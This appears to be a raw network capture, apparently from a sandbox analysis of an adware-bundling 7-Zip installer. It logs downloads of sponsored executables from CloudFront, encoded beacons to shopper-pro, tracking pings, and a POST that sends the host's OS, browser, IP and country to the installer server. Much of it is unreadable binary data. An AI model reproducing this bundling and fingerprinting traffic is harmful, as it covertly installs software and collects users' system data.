.G...............M.f8....,............F.QM.C...TiJ..;.X{...8....d0.G..
.D]I<....z......tv.x.^B.T9=..c.N ..........F...%.....a.......d..;.s
qPp..\....'...../f..7..J_.^.f... 7.>.ET"....#.k#o.!.3gj.=wr...gBj&l
t;.!.5@Qa ?F......0..............f..K...w{...h.=U..u.{.m....7...yb.\YZ
..ta.cd......t-...;.?.....t....v........MP......|.....i..L2...".:H....
....U..}...d..|Q.jf^...(.Mf......\....E G7.........."32...f..%\.4U... 
.N:....... ...B....%[email protected].,.y.....)..[S.6.5.|Jd;/.._m..s..... ...
FN.........a...<......3. ...$,......M.H8.....~u......vM[..H...{i...
R....N......%.".J.F..1(h?..U...,..(%......V......>........y...}.q.:
!.0..w..Q?C.%Eo...w......R^.v........`..&W..*.,....g.......a..Q...$.r)
..2c....|?.3.[..>l....8hq.L...B..W.I..56 ......}f&...^.|..Uk.4...A.
P.. `f..y&m....t... .Ej....V.}...hs........c.....m.`h....3.3..H[N...$:
.q......).0....b.i.C..T$Z.V......}....T$..o(.Z(#[email protected][.
.C?.....}T{ ...$..n9....*.H.<...3..........z..!.....V........A..9..
..........m.]. .?..~.....[.u!DC...8.jZ..k.G...|.o..d....(....(.. .....
...oa^.5[........|3.j.1..C..'..._g.... ..j.!T.....T..M/p.n..W..7R..Ru.
e....i..F".....h.......t...v....p3.gom|...........i-......&.^|ilN..N.b
.[..&5...z.SY'.7.0.M'@.k..E..Y...2)....blt..~...c...<#JIr..uR.../..
dvGr.[.e...nT..>:B.;.!.......m..>.r.U......}.r..d.P.......H`..(.
i...........`.,p%.gQj..p..S. ....4O2...s.{..R..Wc..v.#...v..Te!...r.."
./..<.....oR*1...c..Y..v.....,^......E.....4a%.q.. .kk...pH....<<< skipped >>>

GET /mirror/nerocrossrider/appshat_generic.exe HTTP/1.1

Range: bytes=214170-

User-Agent: Better Installer(Mozilla)

Host: d29brepyudd8sp.cloudfront.net

Connection: Keep-Alive

Cache-Control: no-cache


HTTP/1.1 206 Partial Content

Content-Type: application/octet-stream

Content-Length: 71388

Connection: keep-alive

Date: Sun, 22 Feb 2015 06:06:45 GMT

x-amz-version-id: zdbgB_7owwl7Hq6LIKQBG0yBaPWISKtC

x-amz-meta-s3cmd-attrs: uid:500/gname:www/uname:www/gid:500/mode:33204/mtime:1415096893/atime:1415097003/ctime:1415096894

Cache-Control: max-age=3600

Last-Modified: Tue, 04 Nov 2014 11:01:28 GMT

ETag: "518879abe3170dabd172dfffcd165598"

Accept-Ranges: bytes

Server: AmazonS3

Content-Range: bytes 214170-285557/285558

Age: 714

X-Cache: Hit from cloudfront

Via: 1.1 7b48191d48ad0a2b3616c20acd7fbc1c.cloudfront.net (CloudFront)

X-Amz-Cf-Id: GHMDFwy1Lqbjl3y8huuUxhte7I5Lc2HKkk1iJDsURazRXTvODu4hLg==
a...:X.h0...d...,Q..b:..... <o..^..z.nI...n..b..3........$.#....k..
m...L:M..^..b..j.*G.:c'^T... .k..|..?D...c....\..P.}[email protected].
...x.X..7.[.f...!......g...)aT......k.....1..K.....ou74.U..#.k3-...N..
.....t....u8n.7.c.2..7J... ...h..s......[.V..44.a..<.- .....x..O2oZ
*...u.....oY...T..k..r. z'._GC..B.W.9&1......'.~/].2 v~..:f.=.x<0.}
.e3F/5..b..<!..H...1)......V~G...7.........A..1VS..s.!6.k.J6...h.o.
..8..A^[email protected]>.[.Z...I..P..................Y..... .I."....s....6
d..<F-..[....\]^... C4w>..'j$.qT........J .{..\....X>........
......|EU.*................c..Q.<......Mk..%....1c...8.g:...=.d'.R.
..Im,O.o$..Q.....O..fS43.(...`..........M.s...Rx..[.|:...&.^.....c....
..)...>.6.C4c".%..O..r.Cg.........|._...9..m.h.6.;.Y.L.~).M..]A\...
e.u`...U....s.X....m.....1y|.....k......~..uEi.$...J..pK.:Xt.....z9.bu
*...1:.C....`.]..N.oR.....0..(.5U!.*....$.......3t.0..Vd6..H....6.9N,.
...)T....e.h.."..N6..nUE.......Z..d.........&.....`..1..............b9
..K..g..9Md...K...6q.?...MU.GW.c.C..Ppfw..u.{.."..]....wf|k./(BX......
V...p>...'.;..(..Q.....9.:...R.v";...zv\;..Ow.2...7.~.IT.D..mu.k.OG
w....<U.....x.. ...i.....W.5|w.#....DR.w.}..r......D...^Y..v.... 05
...K.:.{..}Q...t.Y......P..#Hl....2........&c.....C.*...D....l...v.K.v
D.wC..vK4..W.P.).X.....Z..;V2......,j....q./.q.i..d.........\..F.._a..
.U....T...m...d.....>....{z.tf.T..%...5.. NF.......).....:.b,..O.Yq
.....u/oT<.`[email protected].|T..mVLY.......C(
E.....F...e|...hu.\.\. .....~ ..Fi>..M.;..f.U$..!.&6 Y......s..<<< skipped >>>

GET /mirror/mystartsearch/default/setup.exe HTTP/1.1

Range: bytes=201020-

User-Agent: Better Installer(Mozilla)

Host: d32c8485dhfcya.cloudfront.net

Connection: Keep-Alive

Cache-Control: no-cache


HTTP/1.1 206 Partial Content

Content-Type: application/octet-stream

Content-Length: 120612

Connection: keep-alive

Date: Sun, 22 Feb 2015 06:36:11 GMT

x-amz-version-id: pJx1Noe1nsjOrolbXLoeUI7xmdja2CTU

x-amz-meta-s3cmd-attrs: uid:500/gname:www/uname:www/gid:500/mode:33188/mtime:1422525589/atime:1422525603/ctime:1422525590

Cache-Control: max-age=3600

Last-Modified: Thu, 29 Jan 2015 10:00:41 GMT

ETag: "31f8d1cffb02dff93646f81d8ce3dd75"

Accept-Ranges: bytes

Server: AmazonS3

Content-Range: bytes 201020-321631/321632

Age: 941

X-Cache: Hit from cloudfront

Via: 1.1 a436b6df4b0d1bd189edf722b5d2a523.cloudfront.net (CloudFront)

X-Amz-Cf-Id: M-upo6IfoJWrywX8kr6y6WANGT3YwKns9t9ZV1hXHxFxQoSbvFN7_Q==
........................8...V...j.....................................
..........(...P...b...p.......p.......h...............................
................................H.................C...C...C...C...C.o.
C.{[email protected].`.C.........u.A...A.m.B...B.[.B...A..bB...........B.w.A.
...................T........<...8}[email protected]...`.....y.......
..K..t}C.$vA...A...A..vA..vA.gvA.generic..}C.$vA..vA..vA..vA..vA.gvA..
[email protected].....~C.$vA..vA..vA..vA..vA.gvA.system..T~C.$vA..vA
..vA..vA..vA.gvA.iostream stream error.....C..#A.*....~C..yA.C.....C.0
rA...A..~C..{[email protected]..{A...A.H.C.0rA...A.............bad allocation.
...C..{A...A.regular expression error.....$C.DsC.DsC..$C..$C.$$C.$$C.,
$C.4$C.<$C.D$C.L$C.T$C.\$C.....r...a...r.b.....w.b.....a.b.....r. .
....w. .....a. .....r. .b...w. .b...a. .b...................!..."...2.
..*...............#...3... .........C...A...A.Unknown exception.....C.
[email protected].................
......................csm................. ...........Visual C   CRT: 
Not enough memory to complete call to strerror..LC_TIME.LC_NUMERIC..LC
_MONETARY.LC_CTYPE....LC_COLLATE..LC_ALL...%C......{B..%C...C..{B..%C.
..C.R.A..%C...C.2xB..%C...C.DuB..%C...C.^tB...........................
..... !"#$%&'()* ,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ
[\]^_`abcdefghijklmnopqrstuvwxyz{|}~.._.,.;...=...=;..................
......................................................................
..................................................................<<< skipped >>>

GET /mirror/mystartsearch/default/setup.exe HTTP/1.1

Range: bytes=0-

User-Agent: Better Installer(Mozilla)

Host: d32c8485dhfcya.cloudfront.net

Cache-Control: no-cache


HTTP/1.1 206 Partial Content

Content-Type: application/octet-stream

Content-Length: 321632

Connection: keep-alive

Date: Sun, 22 Feb 2015 06:36:11 GMT

x-amz-version-id: pJx1Noe1nsjOrolbXLoeUI7xmdja2CTU

x-amz-meta-s3cmd-attrs: uid:500/gname:www/uname:www/gid:500/mode:33188/mtime:1422525589/atime:1422525603/ctime:1422525590

Cache-Control: max-age=3600

Last-Modified: Thu, 29 Jan 2015 10:00:41 GMT

ETag: "31f8d1cffb02dff93646f81d8ce3dd75"

Accept-Ranges: bytes

Server: AmazonS3

Content-Range: bytes 0-321631/321632

Age: 1013

X-Cache: Hit from cloudfront

Via: 1.1 a436b6df4b0d1bd189edf722b5d2a523.cloudfront.net (CloudFront)

X-Amz-Cf-Id: FTOtxk0qd3oV1Re1HO6oq7erOCx9TepPeGeOr_CF08bzkg00G0XgeQ==
MZ......................@.............................................
..!..L.!This program cannot be run in DOS mode....$.........>.P.P.P
.P.P.P.K...H.P.K...o.P.K.....P.Y...R.P.Y..._.P.P.Q.-.P.K...Z.P.EH..Q.P
.K...Q.P.RichP.P.........PE..L......T.................................
.... ....@.......................... .......a....@....................
.............h...........\...............`.......l ..`"...............
................|..@............ ...............................text..
.a........................... ..`.rdata....... ......................@
[email protected].......*[email protected]...\..................
.........@[email protected][email protected].................
......................................................................
......................................................................
......................................................................
......................................................................
.................................................."C...t.......U..V...
.."C...t...E..t.V.9y.......^]............................U..j.hd.C.d..
...P...SV.t.C.3.P.E.d......u.3.S....k...]..^..^..^..^..^..^..^..^ .E..
;.u(.E.P.M..E.|RC...s..h0.C..M.Q.E..#C......WV.#h........M.d......Y^[.
.].....U..j.h..C.d.....PVW.t.C.3.P.E.d......u.V.E......bg...F.3....;.t
.P..w......~..F.;.t.P..w......~..F.;.t.P..w......~..F.;.t.P..w........
~..E......2j...M.d......Y_^..].............U...E.VP....s.....#C...^]..
[email protected]..^..].......U..QVW..j..M.<<< skipped >>>

GET /video_accelerator/wizardtest/SMALLTEST.HTM?random=864744&mode=nolsp HTTP/1.1

Accept: */*

Accept-Language: en-US

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)

Host: test.youtubeaccelerator.com

Connection: Keep-Alive


HTTP/1.1 200 OK

Content-Type: text/html

Content-Encoding: gzip

Last-Modified: Mon, 21 Jul 2008 09:41:32 GMT

Accept-Ranges: bytes

ETag: "bfefaff515ebc81:0"

Vary: Accept-Encoding

Server: Microsoft-IIS/7.5

X-Powered-By: ASP.NET

Date: Tue, 24 Feb 2015 00:02:27 GMT

Content-Length: 167
.............`.I.%&/m.{.J.J..t...`[email protected]#).*..eVe]f.@......{
....{....;.N'...?\fd.l..J...!....?~|.?".......~....O......7.O.........
....'_>.}. ..>..o.?...MF...HTTP/1.1 200 OK..Content-Type: text/h
tml..Content-Encoding: gzip..Last-Modified: Mon, 21 Jul 2008 09:41:32 
GMT..Accept-Ranges: bytes..ETag: "bfefaff515ebc81:0"..Vary: Accept-Enc
oding..Server: Microsoft-IIS/7.5..X-Powered-By: ASP.NET..Date: Tue, 24
 Feb 2015 00:02:27 GMT..Content-Length: 167...............`.I.%&/m.{.J
.J..t...`[email protected]#).*..eVe]f.@......{....{....;.N'...?\fd.l..J
...!....?~|.?".......~....O......7.O.............'_>.}. ..>..o.?
...MF.....

POST /ocsp HTTP/1.1

Host: clients1.google.com

User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:29.0) Gecko/20100101 Firefox/29.0

Accept: text/html,application/xhtml xml,application/xml;q=0.9,*/*;q=0.8

Accept-Language: en-US,en;q=0.5

Accept-Encoding: gzip, deflate

Content-Length: 107

Content-Type: application/ocsp-request

Connection: keep-alive

0i0g0E0C0A0... ..........j.....p.I.#z...(~d..J......h.v....b..Z./.......0....0.0... .....0...
0... .....0..
HTTP/1.1 200 OK

Content-Type: application/ocsp-response

Date: Tue, 24 Feb 2015 00:04:09 GMT

Expires: Sat, 28 Feb 2015 00:04:09 GMT

Cache-Control: public, max-age=345600

Server: ocsp_responder

Content-Length: 463

X-XSS-Protection: 1; mode=block

X-Frame-Options: SAMEORIGIN

Alternate-Protocol: 80:quic,p=0.08

0..........0..... .....0......0...0......J......h.v....b..Z./..2015022
3190250Z0k0i0A0... ..........j.....p.I.#z...(~d..J......h.v....b..Z./.
......0......20150223190250Z....20150302190250Z0...*.H...............G
F...h..W...d..e.WIE.....W._......e/f D.o..}.... .......-.Q.....iw.Aa..
......lQu...h.......%......*@.K.^..a.....&...tF.j".xC~.c..a...........
...p<.F%.."...p.S..!......s.T#E.... M.z/Vo.G.l..:Z_............K1..
C.....]..p.0.......D...J"......;.L.`7.V....HTTP/1.1 200 OK..Content
-Type: application/ocsp-response..Date: Tue, 24 Feb 2015 00:04:09 GMT.
.Expires: Sat, 28 Feb 2015 00:04:09 GMT..Cache-Control: public, max-ag
e=345600..Server: ocsp_responder..Content-Length: 463..X-XSS-Protectio
n: 1; mode=block..X-Frame-Options: SAMEORIGIN..Alternate-Protocol: 80:
quic,p=0.08..0..........0..... .....0......0...0......J......h.v....b.
.Z./..20150223190250Z0k0i0A0... ..........j.....p.I.#z...(~d..J......h
.v....b..Z./.......0......20150223190250Z....20150302190250Z0...*.H...
............GF...h..W...d..e.WIE.....W._......e/f D.o..}.... .......-.
Q.....iw.Aa........lQu...h.......%......*@.K.^..a.....&...tF.j".xC~.c.
.a..............p<.F%.."...p.S..!......s.T#E.... M.z/Vo.G.l..:Z_...
.........K1..C.....]..p.0.......D...J"......;.L.`7.V......

<<< skipped >>>

GET /pinger?event_type=offer_accepted&installer_source=better_installer&software_type=sponsored&muid=ad2252ce007468623bd139b0adec3423&client_uid=428401b2724ce34c9657f205e14d247c&uniqid=false&affiliate_id=awde7zip23678&software_id=7zip&sponsored_id=sourceapp_b2b&tokyo_csrf2_key=73a4128c495a26c35337a5d3065bd25c&tokyo_csrf2_timestamp=1424736134&slot_number=2&index_in_screen=1&index_in_session=2&0.2659508971676753 HTTP/1.1

Accept: */*

Referer: hXXp://installer.filebulldog.com/awde7zip23678/7zip/428401b2724ce34c9657f205e14d247c?v=2.0&muid=AD2252CE007468623BD139B0ADEC3423

Accept-Language: en-US

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)

Host: installer.filebulldog.com

Connection: Keep-Alive

Cookie: __utma=1.1232722804.1424736155.1424736155.1424736155.1; __utmb=1.1.10.1424736155; __utmc=1; __utmz=1.1424736155.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utmt=1


HTTP/1.1 200 OK

Server: nginx

Date: Tue, 24 Feb 2015 00:03:21 GMT

Content-Type: image/jpeg

Transfer-Encoding: chunked

0..HTTP/1.1 200 OK..Server: nginx..Date: Tue, 24 Feb 2015 00:03:21 GMT
..Content-Type: image/jpeg..Transfer-Encoding: chunked..0..

GET /app/ping.ashx?e=o4wkB1bL2nLulzvurkdMtSWStE4YVGSU 0R MP RL3UJOLXkS9L/h2bktPzt6FdqTvEC4JSYnM5Hrq9z7MTeCvRfDwdUdUtgoG1 4r8On3InYBfPcNQB96JUqayHJ5ShmDwm9U8stHwyKW2q8nI5uATxchauHrQ9hdXWs9gHCsWrLZx3iqhAOXSh4  HSf3cXZ8qiEfUAdCKcmVALQndI8ew/zVg04SETIoScJ/u8QKKysiZqegQvr2IsVHp9lGjGzsLCGvLvdcfJKZ4NCKSCQ== HTTP/1.1

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: rep.shopper-pro.com

Connection: Keep-Alive


HTTP/1.1 200 OK

Cache-Control: private

Server: Microsoft-IIS/7.5

X-AspNet-Version: 4.0.30319

X-Powered-By: ASP.NET

Date: Tue, 24 Feb 2015 00:02:10 GMT

Content-Length: 0

....

GET /app/ping.ashx?e=Ka qOJkckoXJDC3MBqZhBghItqjlUgVa3wBxlndAVdcSZTerw9Y85dVUaX7QH4bytNUutjdaeNq2XevNeS4vewsQkLH VK3/H0yP7jN9/LspGxsI2Q6AGG188caoXin7Wjwfqp7MHxEi GVzQHau4wOxpFqMx/dgEgdSwAOGV2MTYEO06dsSGpcqzYlCT OpqzK4ONZfy8uwkk WHLaN3BOpzAENMeu5cVazcbc9chGwUbmkSx2150mJkkZ/SgsTZneZ9ZholOaYTB8y98OTDK3dt0g0AbwGU3HAguasLH1O8SsEd1vQGPfwqbgkyABd HTTP/1.1

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: rep.shopper-pro.com

Connection: Keep-Alive


HTTP/1.1 200 OK

Cache-Control: private

Server: Microsoft-IIS/7.5

X-AspNet-Version: 4.0.30319

X-Powered-By: ASP.NET

Date: Tue, 24 Feb 2015 00:02:10 GMT

Content-Length: 0

....

GET /app/ping.ashx?e=Ka qOJkckoXJDC3MBqZhBghItqjlUgVa3wBxlndAVdcSZTerw9Y85dVUaX7QH4bytNUutjdaeNq2XevNeS4vewsQkLH VK3/H0yP7jN9/LspGxsI2Q6AGG188caoXin7Wjwfqp7MHxFeqRIU2Wz5FvVqYNFaQMtWTt1BChYB6OEQSIy21hLngDYDbpKgQdEF9cIpytU0y3LG4Lnbcm9hh1KSSkgkzJM10ClxJsX5qO1ZySIyJVh8l6AwGw39X SPj6s3yV6l8413XZSkF1SfvAvZBqh0KVZHRTKfrgtZytF047tQXaDqtQFKvbxhXJ8 DxJ w6ryxW8= HTTP/1.1

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: rep.shopper-pro.com

Connection: Keep-Alive


HTTP/1.1 200 OK

Cache-Control: private

Server: Microsoft-IIS/7.5

X-AspNet-Version: 4.0.30319

X-Powered-By: ASP.NET

Date: Tue, 24 Feb 2015 00:02:10 GMT

Content-Length: 0

....

GET /app/ping.ashx?e=Ka qOJkckoXJDC3MBqZhBghItqjlUgVa3wBxlndAVdcSZTerw9Y85dVUaX7QH4bytNUutjdaeNq2XevNeS4vewsQkLH VK3/H0yP7jN9/LspGxsI2Q6AGJ7YhSsSCMsm 6AzHfghR9HM4JIvtQF427XVMSBQRUB7BPFyFq4etD2F1daz2AcKxastnHeKqEA5dKHj74dJ/dxdnyqIR9QB0IpyZUAtCd0jx7D/NWDThIRMihJwn 7xAorKyJmp6BC vYixUen2UaMbOwsIa8u91x8kpng0IpIJ HTTP/1.1

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: rep.shopper-pro.com

Connection: Keep-Alive


HTTP/1.1 200 OK

Cache-Control: private

Server: Microsoft-IIS/7.5

X-AspNet-Version: 4.0.30319

X-Powered-By: ASP.NET

Date: Tue, 24 Feb 2015 00:02:10 GMT

Content-Length: 0

....

GET /app/ping.ashx?e=XJYuqQQo69dBmScQe cMuOLyPyzo0umuMV5rvWQh0tmRoZJTpqsyZxASc9FSZWyoWTYC2lEyeiS5RWeJcqy7RHOWB7p8fTxpZAwTHJGHWlAW3c/Ne6ORij0sajEdtXK5ho/QgOr9gQT2NRySioDRRrzTwCJRAS6WGe3FkalM8N0mPRXV7cLSOWdamvrUQZsSBJrpn5593i7JkPoDWmx/bJrdSyBxPRpgJjBlI3wtJUPnN75nI7N3JQ8lOqQCf9KrCzd1pE lMJTJyqFZ2qF638Q2bUIan6JC4uZ/p4emFS336Kc9MtkO2A== HTTP/1.1

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: rep.shopper-pro.com

Connection: Keep-Alive


HTTP/1.1 200 OK

Cache-Control: private

Server: Microsoft-IIS/7.5

X-AspNet-Version: 4.0.30319

X-Powered-By: ASP.NET

Date: Tue, 24 Feb 2015 00:02:10 GMT

Content-Length: 0

HTTP/1.1 200 OK..Cache-Control: private..Server: Microsoft-IIS/7.5..X-
AspNet-Version: 4.0.30319..X-Powered-By: ASP.NET..Date: Tue, 24 Feb 20
15 00:02:10 GMT..Content-Length: 0..

GET /awde7zip23678/7zip/428401b2724ce34c9657f205e14d247c?v=2.0&muid=AD2252CE007468623BD139B0ADEC3423 HTTP/1.1

Accept: */*

Accept-Language: en-US

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)

Host: installer.filebulldog.com

Connection: Keep-Alive


HTTP/1.1 200 OK

Server: nginx

Date: Tue, 24 Feb 2015 00:02:13 GMT

Content-Type: text/html; charset=utf-8

Transfer-Encoding: chunked

Vary: Accept-Encoding

Content-Encoding: gzip
600a...............z...6.?....D.... ).N..... .-..<..I.i...I...H..\.
..}e.}........I>.DD...V.Zu..[.q{~5IJ..p......~.w..Tz<L.q.....d.(
/........=M'...k....|.,..........q.Q..9......j.h6...dz*.m.yw...u...w:.
w.F7....~1IG...>I>&......g..v?i.....i:ON....../..a<O:..d6....
Q:..g.F..i.>?....tq.........~5./O..n2.5.}z.....;.....l..5.o.R..F...
.....[...........<..f....<.....N..rT.8<.b..i[.....`....h1la?.
.f..s..?..[......HN..0.-f.x.....=M...0<y...Y.....0.u..A..,...Q.;.t.
=Ng..i<e.:.r].XT.L.=.|v.....d...._w..d._....x..O.. ....u.1^.[...9.c
~..t..cr..^...0.S....d.O... .p.Q...i...-f..n..E|5;MG............Y".v:[
.N1.6.e.......M...'.......iw./:....h0.;...b4.^q...m*........|....}....
..$&.!.HG.X....7...~I...{>..bt.@<..A8.C...b0Ow.>....t........
3;..sN...u..<..;. (_Jg...O{..pg...>...R<m....hT...Nd<IF..x
.N......L.......j..<......\.....n:.9...a..{............I.....;.4...
|.v.6../Nq.u.`......... .r...;,....C....'..i..I. u..o.f.mf.........Q&l
t;P.......AIT{6...........o..M.....:..o.G..7....??J.[...7.8P.x..q....?
?.....!.S..h....[........t....|.-..6.:.8.7...r.....)..(.e:/...D..w{...
....~...\.:@................zp.....v=,.............;..A.|.W...... ...w
C...].....nx.p...............L..t..>*......p.....N.."./......w..8j.
..#...A<.%..r/.I(DQ..g...<..g.,.....z.>".o.1.o...=.-....Z....
H.8wL[ze.b..........c<-.s.i'..s...]......R.S.Q....%*..Mp.%.R.t..H.{
{.%g_._..t~U..VB.)y..^.&..t....k:../*l..o"}<...b..8A0..c..I'x......
....8.?E....TV7.J.lp:.l...VV.......w3....;..*.?..?....C...Qo.?,...<<< skipped >>>

POST /installer/ajax HTTP/1.1

x-requested-with: XMLHttpRequest

Accept-Language: en-us

Referer: hXXp://installer.filebulldog.com/awde7zip23678/7zip/428401b2724ce34c9657f205e14d247c?v=2.0&muid=AD2252CE007468623BD139B0ADEC3423

Accept: application/json, text/javascript, */*; q=0.01

Content-Type: application/x-www-form-urlencoded

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)

Host: installer.filebulldog.com

Content-Length: 2256

Connection: Keep-Alive

Cache-Control: no-cache

country=UA&uid_orig=428401b2724ce34c9657f205e14d247c&uid=428401b2724ce34c9657f205e14d247c&affid=awde7zip23678&sid=7zip&cli_id=&softwareName=7-Zip&installerVersion=2.0&osVersion=6.1.7601 Service Pack 1 64bit&ieVersion=4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)&defaultBrowser="C:Program Files (x86)Mozilla Firefoxfirefox.exe" -osint -url "%1"&defaultBrowserName=ff&originBrowser=ff&hostBrowser=ff&tzo=MTIw&muid=ad2252ce007468623bd139b0adec3423&cu=false&cd=false&tokyo_csrf_key=d5cb986bfb9cb1ae6a4bc6cc1274e0b0&tokyo_csrf_timestamp=1424736132&unique_id=false&clientIp=193.138.244.231&ffInstalled=false&dfz=false&avdr=lDKrp/3VMDh61tuJfJlrKXs1VI6ezbhGnJBKbIRjXeIYfcyodTGERY6ZOIkepjCAJ6l5ti1eroI6fZ94jJ7hVTGSxjM0U9E77FGnMsZ1LcvOzHafQu4ZCzL8juT87OhWgAKpiO4REHih3bZNHkqNA
HTTP/1.1 200 OK

Server: nginx

Date: Tue, 24 Feb 2015 00:02:14 GMT

Content-Type: text/html; charset=utf-8

Transfer-Encoding: chunked

Vary: Accept-Encoding

Content-Encoding: gzip
f18.............\ms.6.. 8...B.z.".M.qrI........U..EB..|.@ZQ2...,.R$.j'
n.M.....X,.......P..H._...w.3...x ......(...e....g._.....q.....i.$]...
"..I.#..yc..N.W*..._r/.c...'...eZ0U.....,O......{..u.O..~........X....
.I.c....".\...7.. M...w...z\..>G....\no.{......9...,..TD...X..E*.Y.
..(.C..t....^.%....N..^.WV`.j].3.ZL..].......$..j.;O.:..T.......A .z.&
lt;...i*....z.R"."..E.&E.F<..M9..L..Ef.=|..........YJ9...Q......Q..
..". Q..$$...@<....yAD.:.r.d..:Wf....<.Z....u.......|.#.B.f.~..3
m.".G.g......SI...].Rr......5=."....'..sm..L.,.....7......\g1..43.R.}.
.U......,|.X.8]...l.d.y..b..;.*...2L6..S.u._y....<Ec...0......k~.7.
D)$.........j?.`..8.Rr..>.4dy.2'..(3.4..X=......%p.....Zk.....Z{..$
y....].v...|...9zl.,....#......jn..=...~.h...>.4.(....8.....2..cth.
...w.)4...s.......@.;G.5k...a.4.X^.. 3.u...u.....x|.......0.O....H..T.
.u......2..[_.o.._D.W.....p.L.yJ..U...Z..x............F....7V.........
.&Q...J....K.....H....).7....!...C..3..~N....).3&.l...L.}.... .|j...e.
Wm..L...Qn.....x.#.{..@Zh,|k...o.7_.!.t..5g/....%.Hx*X.9.S......2#D.T1
........d..s.........^.....4AiM.....y.=....7..2B..$I..x...|..\ :..n.. 
.......*..9...QKnp;.q..S..f.b0.....'.gB.F...!.sr.z1/O....5.}....?.....
..^.z..)=7....~.COk.'.1m..b.|..0....&!..z3.u...*.i..,.........$..G. .y
.YI.E..Y....Y*....F...J..2..A....>..@..?.lJ.u.<z.EF[k..K.Q.&....
H.).E..P.....u[.b|.d..!..Qq. ...[A..fW..^.K..y...D.[.O...2.:.").......
dJ..d.W.r..I!%.._.Q....R..U.&..5U.U...|2......... .2/..D...R....@.....
So..........S.m.........!..-W.q..`.G....i..T..N.N..... .....6....;<<< skipped >>>

GET /v4/sof-ient/267123711_198339_B48A115F?action0=xa.geoip&action2=visit&update0=ref,smt&update1=nation,us&update2=language,en&update3=version,2.8.8.28&update4=chptid,smt HTTP/1.1

Connection: Keep-Alive

User-Agent: Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0) in my heart of heart.

Host: xa.xingcloud.com


HTTP/1.1 200 OK

Server: nginx/0.7.67

Date: Tue, 24 Feb 2015 00:04:30 GMT

Content-Type: text/html; charset=utf-8

Transfer-Encoding: chunked

Connection: keep-alive

X-Powered-By: PHP/5.3.3

xa-api-version: v4

48..{"stats":"ok","time":"0.80 ms","message":"store 3 action and 5 upd
ate "}..0......

GET /v4/sof-ient/267123711_198339_B48A115F?action1=install.smt HTTP/1.1

Connection: Keep-Alive

User-Agent: Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0) in my heart of heart.

Host: xa.xingcloud.com


HTTP/1.1 200 OK

Server: nginx/0.7.67

Date: Tue, 24 Feb 2015 00:04:31 GMT

Content-Type: text/html; charset=utf-8

Transfer-Encoding: chunked

Connection: keep-alive

X-Powered-By: PHP/5.3.3

xa-api-version: v4

48..{"stats":"ok","time":"0.39 ms","message":"store 1 action and 0 upd
ate "}..0..HTTP/1.1 200 OK..Server: nginx/0.7.67..Date: Tue, 24 Feb 20
15 00:04:31 GMT..Content-Type: text/html; charset=utf-8..Transfer-Enco
ding: chunked..Connection: keep-alive..X-Powered-By: PHP/5.3.3..xa-api
-version: v4..48..{"stats":"ok","time":"0.39 ms","message":"store 1 ac
tion and 0 update "}..0..

GET /mirror/nerocrossrider/appshat_generic.exe HTTP/1.1

Range: bytes=142780-

User-Agent: Better Installer(Mozilla)

Host: d29brepyudd8sp.cloudfront.net

Connection: Keep-Alive

Cache-Control: no-cache


HTTP/1.1 206 Partial Content

Content-Type: application/octet-stream

Content-Length: 142778

Connection: keep-alive

Date: Sun, 22 Feb 2015 06:06:45 GMT

x-amz-version-id: zdbgB_7owwl7Hq6LIKQBG0yBaPWISKtC

x-amz-meta-s3cmd-attrs: uid:500/gname:www/uname:www/gid:500/mode:33204/mtime:1415096893/atime:1415097003/ctime:1415096894

Cache-Control: max-age=3600

Last-Modified: Tue, 04 Nov 2014 11:01:28 GMT

ETag: "518879abe3170dabd172dfffcd165598"

Accept-Ranges: bytes

Server: AmazonS3

Content-Range: bytes 142780-285557/285558

Age: 786

X-Cache: Hit from cloudfront

Via: 1.1 7b48191d48ad0a2b3616c20acd7fbc1c.cloudfront.net (CloudFront)

X-Amz-Cf-Id: uahsfoKGkT41GGcEMFnymdJrORxXELS3OlGeYH5DJIhTS16BdZ0-hQ==
..<......O.. ..o...U ...h..y.O..X..C............2.[..,..."m...~b...
.......V:...!.......;n .f.P..i?.|...B..w..?5w{...z9.].8*..3..(x...z/E_
...oz...#.".2:...z-.&ng...&y.......H|.q$...Y.....G..M..E.*N...&..z...U
.`....t.?T5.m..<.<...BK..nY_#[....YI?.4...!h.Y..>.....c.M....
F..j..Ht7.gN...z..(..l..\u.~...].Ub...M!..<{.P.M.MM.ne?..<.:....
O.,=.h.....Z.b.........Y....R.s.e.I).i..fpk.j.O0........].2|.0.C``....
...m_z.=W..^...C:............Q...xbR.....t...eF.V.....aR..2o..w.>..
r!U......Xs%.Wm.&.LbX0{.P........@..\w.......>.../.bW........X....^
e8......Lq...[.3a...n*..........2..!c_ .......{...Z.lf...z..o...~*..l.
...G..2.w.8.#.*........DH..-df.][email protected]...'k.... ....m.
